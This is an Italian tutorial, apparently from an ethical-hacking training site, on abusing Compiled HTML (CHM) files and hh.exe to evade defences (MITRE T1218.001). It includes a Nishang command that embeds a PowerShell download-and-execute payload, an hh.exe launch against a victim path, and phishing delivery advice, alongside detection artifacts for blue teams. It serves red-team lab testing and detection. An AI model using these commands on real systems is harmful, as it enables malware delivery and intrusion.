File CHM come Vettore d'Attacco: Compiled HTML File (T1218.001)

I file CHM (Compiled HTML) sono archivi compressi che racchiudono documenti HTML, immagini e codice di scripting — VBA, JScript, ActiveX — in un unico contenitore progettato per la consultazione offline tramite il sistema Microsoft HTML Help. Il motore di rendering è hh.exe, un eseguibile firmato Microsoft che carica internamente componenti del browser Internet Explorer per visualizzare il contenuto. Proprio questa combinazione — un binario legittimo che esegue codice embedded — rende i file CHM uno strumento ideale per il Defense Evasion (TA0005).

L'attaccante costruisce un file .chm con payload nascosto: all'apertura, hh.exe interpreta il contenuto HTML e gli script inclusi, che possono scaricare ed eseguire malware, lanciare comandi PowerShell o istanziare oggetti ActiveX malevoli. Poiché hh.exe è un binario di sistema firmato, molte soluzioni di application control legacy non ne bloccano l'esecuzione, permettendo all'avversario di aggirare le difese.

Il panorama operativo conferma la rilevanza della tecnica: 5 gruppi APT documentati, 1 famiglia malware e 2 mitigazioni specifiche. L'impatto è amplificato dal fatto che i file .chm appaiono innocui — spesso mascherati da manuali o guide — e il loro formato compresso può ostacolare l'ispezione da parte dei gateway di sicurezza.


Per simulare questa tecnica in ambiente lab è necessario comprendere la catena: creazione del CHM → consegna → esecuzione via hh.exe → payload. Il tool nativo per compilare file CHM è HTML Help Workshop (gratuito, Microsoft), che utilizza il compilatore a riga di comando hhc.exe.

Il primo passo è creare un progetto CHM contenente una pagina HTML con codice malevolo. Un file HTML d'esempio include un oggetto ActiveX ShortCut che invoca un comando alla visualizzazione della pagina. La struttura del progetto (.hhp) definisce i file da includere e le opzioni di compilazione. Una volta preparato il progetto, la compilazione avviene con:

hhc.exe progetto.hhp

Il risultato è un file .chm pronto per il test. In alternativa, il modulo Out-CHM del framework Nishang (open source) automatizza l'intera procedura, generando un file CHM con payload PowerShell incorporato:

Out-CHM -Payload "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('')" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Nishang richiede che HTML Help Workshop sia installato sulla macchina di compilazione. Il parametro -HHCPath punta alla directory del compilatore.

Per l'esecuzione, l'attaccante conta sull'apertura diretta da parte della vittima (doppio clic) oppure forza l'esecuzione da riga di comando:

hh.exe C:\Users\target\Downloads\manuale.chm

Un test più avanzato prevede l'uso di SharpCHMGen (open source), un tool .NET che genera file CHM con payload personalizzati senza richiedere HTML Help Workshop. La catena d'attacco tipica in un red team engagement prevede la consegna del CHM via email di phishing con pretesto di documentazione tecnica.

Per la validazione, il framework Atomic Red Team (open source) include il test atomico T1218.001 che automatizza la creazione e l'esecuzione di un CHM di test, verificando che hh.exe generi i processi figlio attesi. Esegui il test con:

Invoke-AtomicTest T1218.001

Durante il test, monitora con Process Monitor (gratuito, Sysinternals) le operazioni di hh.exe: noterai la creazione di file temporanei nella directory %TEMP%\ITS\ e il caricamento delle DLL di rendering HTML (hhctrl.ocx, itss.dll). Questi artefatti sono fondamentali per validare che il blue team rilevi correttamente l'attività.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo